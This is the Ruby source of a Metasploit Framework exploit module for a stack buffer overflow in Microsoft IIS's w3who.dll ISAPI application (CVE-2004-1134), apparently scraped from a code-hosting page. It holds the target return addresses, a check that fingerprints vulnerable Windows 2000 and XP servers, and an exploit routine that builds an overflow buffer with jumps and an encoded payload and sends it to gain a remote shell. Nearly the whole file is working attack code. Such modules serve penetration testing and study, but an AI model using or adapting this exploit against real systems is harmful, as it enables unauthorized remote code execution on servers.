123 lines
3.0 KiB
Ruby
123 lines
3.0 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft IIS ISAPI w3who.dll Query String Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the w3who.dll ISAPI
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application. This vulnerability was discovered Nicolas
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Gregoire and this code has been successfully tested against
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Windows 2000 and Windows XP (SP2). When exploiting Windows
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XP, the payload must call RevertToSelf before it will be
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able to spawn a command shell.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-1134'],
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[ 'OSVDB', '12258'],
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[ 'URL', 'http://www.exaprobe.com/labs/advisories/esa-2004-1206.html'],
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[ 'MIL', '32'],
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[ 'BID', '11820'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 632,
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'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
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'MinNops' => 128,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 RESKIT DLL [Windows 2000]', { 'Rets' => [ 48, 0x01169f4a ] }], # pop, pop, ret magic
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['Windows 2000 RESKIT DLL [Windows XP]', { 'Rets' => [ 748, 0x10019f4a ] }], # pop, pop, ret magic
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],
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'DisclosureDate' => 'Dec 6 2004'))
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register_options(
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[
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OptString.new('URL', [ true, "The path to w3who.dll", "/scripts/w3who.dll" ]),
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], self.class)
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end
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# Identify the target based on the IIS version
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def autofilter
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res = send_request_raw({
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'uri' => datastore['URL']
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}, -1)
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# Was a vulnerable system detected?
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if (res and res.body =~ /Access Token/)
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case res.headers['Server']
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when /5\.1/
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datastore['TARGET'] = 1
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else
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datastore['TARGET'] = 0
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end
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return true
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end
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# Not vulnerable
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return false
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end
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def check
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res = send_request_raw({
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'uri' => datastore['URL']
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}, -1)
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if (res and res.body =~ /Access Token/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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buf = rand_text_english(8192, payload_badchars)
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buf[target['Rets'][0] - 4, 4] = make_nops(2) + "\xeb\x04"
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buf[target['Rets'][0] - 0, 4] = [ target['Rets'][1] ].pack('V')
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buf[target['Rets'][0] + 4, 4] = "\xe9" + [-641].pack('V')
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buf[target['Rets'][0] - 4 - payload.encoded.length, payload.encoded.length] = payload.encoded
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print_status("Sending request...")
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r = send_request_raw({
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'uri' => datastore['URL'],
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'query' => buf
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}, 5)
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handler
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end
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end
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